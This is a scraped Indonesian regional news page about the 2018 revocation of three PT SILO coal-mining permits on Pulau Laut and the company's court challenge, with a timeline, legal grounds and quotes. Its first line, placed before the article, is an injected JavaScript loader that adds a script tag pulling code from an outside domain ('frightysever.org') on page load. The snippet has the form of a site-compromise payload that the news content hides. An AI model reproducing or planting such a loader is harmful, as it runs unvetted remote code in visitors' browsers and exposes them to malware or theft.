(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

ADU ‘JURUS’ DI PULAU LAUT


Gubernur Kalsel telah mengeluarkan surat keputusan terkait percabutan tiga IUP PT Silo (Sebuku Grup) di Pulau Laut, Kabupaten Kotabaru. Pencabutan IUP ini didasari pertimbangan daya dukung lingkungan dan aspirasi masyarakat yang menolak aktivitas tambang dan mendapat respons Presiden Joko Widodo.

26 Januari 2018 :

Gubernur Sahbirin Noor meneken tiga SK pencabutan IUP milik anak usaha PT SILO Group.

IUP OP yang Dicabut :

1) Berdasar SK bernomor 503/121/DPMPTSP/2018 tentang Pencabutan IUP OP untuk PT Sebuku Tanjung Coal di wilayah konsesi 8.990,38 hektare di Pulau Laut Tengah dan Pulau Laut Utara, Kabupaten Kotabaru.

2) Berdasar SK bernomor 503/120/DPMPTSP/2018 tentang Pencabutan IUPOP untuk PT Sebuku Sejaka Coal di atas luasan areal konsesi tambang batubara seluas 8.139,93 hektare di Pulau Laut Timur.

3) Berdasar SK bernomor 503/119/DPMPTSP/2018 tentang pencabutan IUP OP untuk PT Sebuku Batubai Coal dengan wilayah konsesi seluas 5.140,89 hektare di Pulau Laut Utara dan Pulau Laut Tengah.

9 Februari 2018 :

Kuasa hukum PT Sebuku Iron Lateric Ores (SILO) Dr Yusril Ihza Mahendra, SH, MSc, mendaftarkan gugatan ke Pengadilan Tata Usaha Negara (PTUN) Banjarmasin.

ÂÂÂ
Alasan Gugatan :

1) Menilai tak ada alasan jelas mengapa izin itu dicabut. Dimana pencabutan hanya didasarkan oleh tuntutan massa penolak tambang. Sementara PT Silo belum melakukan proses penambangan di Pulau Laut.

2  PT SILO telah mengantongi IUP OP yang berlaku sampai 2030 yang telah ditandatangani Bupati Kotabaru sebelumnya, Sjachrani Mataja.

3) Izin lingkungan berlaku sama dengan izin usaha yang kelauar pada tahun 2013.

4) Sudah melakukan koordinasi dengan PT INHUTANI terkait tumpang tindih kawasan.

ÂÂÂ
Komentar :

“Ada tekanan ke PT SILO, ada perusahaan besar yang ingin lahan tersebut. Ini bukan soal politik, ini murni penegakan aturan. Kami akan kawal sampai tuntas kasus ini, kami siap ke Banjarmasin lagi untuk memastikan gugatan berjalan clear,” (Yusril Ihza Mahendra/Kuasa Hukum PT SILO)

ÂÂÂ
Dasar Kebijakan Gubernur:

1) Pulau Laut masuk kategori pulau kecil dengan luasan 187.300 hektare

2) UU No 27 Tahun 2007 yang menyebutkan dilarang melakukan penambangan di pulau kecil dengan luasan di bawah 200.000 hektare

3) Pulau laut merupakan miniatur hutan tropis Kalsel

4) Gubernur selaku Kepala Daerah berwenang menerbitkan izin usaha dan berwenang pula mencabut Izin Usaha Penampangan (IUP) dengan melihat berbagai pertimbangan.

ÂÂÂ
Komentar :

“Pokoknya kami siap hadapi apa yang mereka gugat,” (Ahkmad Fiddayeen/Kepala Biro Hukum Setdaprov Kalsel)

 

Reporter : Cel/azey
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.